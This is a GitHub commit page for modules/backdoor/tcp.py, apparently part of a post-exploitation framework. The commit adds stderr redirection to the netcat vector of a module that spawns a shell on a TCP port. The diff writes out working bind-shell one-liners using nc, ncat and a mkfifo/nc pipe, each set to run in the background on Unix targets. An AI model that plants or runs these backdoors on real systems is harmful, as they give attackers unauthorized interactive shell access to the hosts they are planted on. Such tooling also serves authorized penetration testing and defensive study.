Skip to content

Commit

Permalink
add netcat stderr redirection
Browse files Browse the repository at this point in the history
  • Loading branch information
ZanyMonk committed Jun 16, 2023
1 parent ed58bff commit 048f50f
Showing 1 changed file with 14 additions and 6 deletions.
20 changes: 14 additions & 6 deletions modules/backdoor/tcp.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
from core.vectors import PythonCode, ShellCmd, Os
from core.module import Module
from core.loggers import log
from core import messages
import urllib.parse
import telnetlib
import time
import urllib.parse

from core import messages
from core.loggers import log
from core.module import Module
from core.vectors import ShellCmd, PythonCode, Os


class Tcp(Module):
"""Spawn a shell on a TCP port."""
Expand All @@ -23,11 +25,17 @@ def init(self):
self.register_vectors(
[
ShellCmd(
"nc -l -p ${port} -e ${shell}",
"nc -nlp ${port} -c '${shell} -i 2>&1' ",
name = 'netcat',
target = Os.NIX,
background = True
),
ShellCmd(
"ncat -nlp ${port} -c '${shell} -i 2>&1' ",
name = 'nc.nmap',
target = Os.NIX,
background = True
),
ShellCmd(
"rm -rf /tmp/.f;mkfifo /tmp/.f&&cat /tmp/.f|${shell} -i 2>&1|nc -l ${port} >/tmp/.f; rm -rf /tmp/.f",
name = 'nc.bsd',
Expand Down

0 comments on commit 048f50f

Please sign in to comment.